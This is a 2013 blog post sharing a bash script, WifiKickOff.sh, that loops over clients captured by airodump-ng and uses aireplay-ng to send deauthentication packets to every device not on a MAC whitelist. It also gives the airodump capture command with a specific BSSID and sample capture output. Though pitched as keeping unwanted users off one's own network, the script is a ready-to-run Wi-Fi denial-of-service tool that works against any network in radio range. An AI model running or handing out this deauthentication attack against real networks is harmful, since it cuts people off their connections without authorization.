Tuesday, 11 June 2013

Wifi Disconnect Unwanted Client Shell Script (WifiKickOff.sh)


Just was working on something, which triggered me to create one script that will de-authenticated unnecessary clients connected to network!!!...I know you might be thinking we can block it though Wifi console, but think if attacker want to do the same!!!!!....

So came up with one simple shell script, I know its not fully customized but that I will leave upto you..


  1. This script makes use of "aireplay-ng" and "airodump-ng" tools freely available with backtrack
  2. It is required to specify MAC addresses of PC's or Laptops which you don't want to disconnect as it works on White Listing approach!!
  3. It is also required to specify MAC address of your Wifi Router.
That's it!...now this simple script will Get list of connected clients and will only disconnect those who are not present in Specified MAC Address, Seems confusing??? 

If MAC != Specified List of MAC Then --> Disconnect that Dude!!

I also tested this script and works well, you can even check and let me know if any performance issues on your network, or anything needs to be modified, I will be happy to work on it.


WifiKickOff Script:

#!/bin/bash

girish="XX:XX:XX:XX:XX:XX"
expl0i13r="XX:XX:XX:XX:XX:XX"

while true;do
i=1
cat final-01.csv | cut -d "," -f1 | tail -100 | sed '/Station MAC/d' | sed '/BSSID/d' | sed '/WIFI ROUTER MAC/d' | sed '/^$/d' | grep ":" | while read line
do

echo "Line is : $line"
if [ "$line" = "$expl0i13r" -o "$line" = "$girish" ];then
        echo "Security Researchers : $line"
else

echo $array[ $i ]
aireplay-ng -0 1 -a "WIFI ROUTER MAC" -c "$line" mon0 &

fi
sleep 1
(( i++ ))
done
done

For newbies try to figure out whats been done in above script!!! it will be helpful...

One more imp point!!, we are going to dump output using below command, which generates Final csv file containing below data.


1. airodump-ng -c 6 --bssid 00:24:B2:86:B3:52 mon0 -w final

2. Final-01.csv created!!!!!!!

root@bt:~/wifi# cat final-01.csv

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
00:24:B2:86:B3:52, 2013-06-11 12:53:27, 2013-06-11 14:12:06,  6,  54, WPA2, CCMP,PSK, -49,    37158,  1633037,   0.  0.  0.  0,   5, M-Two,

Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
XX:XX:XX:XX:XX, 2013-06-11 12:53:28, 2013-06-11 14:02:31,   0,     4478, WIFI MAC HERE
XX:XX:XX:XX:XX, 2013-06-11 13:23:40, 2013-06-11 14:02:32,   0,      185,  WIFI MAC HERE
XX:XX:XX:XX:XX, 2013-06-11 13:12:28, 2013-06-11 14:02:33,   0,      801,  WIFI MAC HERE


You can Download
Do Post Your Comments!


1 comment:

  1. Here What is meant by Station MAC and WIFI ROUTER MAC is it Defult getway MAC

    ReplyDelete